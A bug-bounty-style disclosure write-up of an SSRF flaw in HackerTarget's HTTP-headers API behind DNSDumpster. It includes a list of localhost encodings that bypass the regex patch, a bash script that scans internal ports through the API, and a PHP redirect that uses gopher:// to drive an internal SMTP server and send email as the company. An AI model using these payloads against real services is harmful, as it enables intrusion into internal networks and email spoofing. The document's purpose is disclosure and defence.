This is a write-up of an SSRF I accidentally found in DNS Dumpster / HackerTarget and leveraged to access to internal services. They do not have a bug bounty program, do not test them without their permission. Originally blogged about this here: https://hacking.us.com/blog/hackertarget
HackerTarget is a service that provides access to online vulnerability scanners and tools used by many security professionals and “makes securing your systems easier”. They also are the creators of DNSDumpster which is a popular service used for recon.
Server-Side Request Forgery (SSRF) is a vulnerability in which an attacker can send a controlled, crafted request via a vulnerable application. We can communicate with different services running on different protocols by utilizing URI schemes. Getting a server to issue a request is not a vulnerability in itself, but it
becomes one when you can make requests to things you wouldn’t or shouldn’t normally have access to, such as internal networks or internal services.
In DNSDumpster, there is a function to "Get HTTP Headers" for a specific host.
This function makes a call to the API at
https://api.hackertarget.com/httpheaders/?q=<target> and it displays the HTTP Headers of a simple HEAD request sent from HackerTarget to the target server.
?q= parameter was vulnerable to SSRF due to the absence of proper checks and firewalls.
My initial proof-of-concept was extremely bland and I didn't put very much effort into it:
They thanked me and attempted to patch. However, the patch was merely a regular expression that was checking for the string "127.0.0.1" and "localhost", which was easily bypassed using different encodings that would still resolve to localhost.
0 127.00.1 127.0.01 0.00.0 0.0.00 127.1.0.1 127.10.1 127.1.01 0177.1 0177.0001.0001 0x0.0x0.0x0.0x0 0000.0000.0000.0000 0x7f.0x0.0x0.0x1 0177.0000.0000.0001 0177.0001.0000..0001 0x7f.0x1.0x0.0x1 0x7f.0x1.0x1 localtest.me
There isn’t a solid way to validate hostnames just by using string-based checks, so my suggested mitigation was to resolve all hosts provided in the
?q= parameter and check them against local IP ranges.
About a week and a half later:
“It is on my todo list. Not critical though as there are no local services that could be hit with it.”
I attempted to enumerate different ports that internal services could be running on, even though there were none "that could be hit with it."
#!/usr/bin/env bash for port in `seq 1 9999` do echo -e "\n\n[+] Checking Port: "$port"\n" curl 'https://api.hackertarget.com/httpheaders/?q=http://'$1':'$port && echo -e "\n" done
➜ [email protected] ~ chmod +x ht.sh && ./ht.sh 0177.1
This spat out the following response:
There was an internal SMTP server running on the standard port.
In order to be able to send emails with SMTP we have to first have to know how mail transactions work:
EHLOwith the clients identity (example:
HELO hackertarget.comwhich means "Hi I'm hackertarget.com")
RCPT: Tells the server where (who) we want to send the email too.
DATA: This is where the Subject and body of the email are set, and the client indicates the end of the mail data by a new line containing only ".". This tells the server that the client confirms the email and tells the server to process it and send it.
Here's a visualization of the structure of SMTP from RFC 5321:
+----------+ +----------+ +------+ | | | | | User |<-->| | SMTP | | +------+ | Client- |Commands/Replies| Server- | +------+ | SMTP |<-------------->| SMTP | +------+ | File |<-->| | and Mail | |<-->| File | |System| | | | | |System| +------+ +----------+ +----------+ +------+ Email client SMTP server
The SMTP Client was the "Get HTTP Headers" function of the API and the the SMTP Server was the service running on an internal port.
The API function was using libcurl to execute the requests and it was following redirects. The libcurl library supports an overabundance of protocols including
gopher:// which essentially sends 1 character, a new line (CR+LF), and the remaining data, which allows people to send a multiline requests. This means we can use gopher to send valid commands to the SMTP server and send emails.
<?php $commands = array( 'HELO hackertarget.com', 'MAIL FROM: <[email protected]>', 'RCPT To: <[email protected]>', 'DATA', 'Subject: corben!', 'Corben (cdl) was here, woot woot!', '.' ); $payload = implode('%0A', $commands); header('Location: gopher://0:25/_'.$payload); ?>
This responds with a 302 redirect to the internal SMTP server with the valid commands to send an email.
I confirmed it worked by visiting the following URL:
Here's the proof-of-concept video:
An attacker could access internal networks and internal services. I could have sent valid emails from and as HackerTarget.
Corben Leo (@cdl)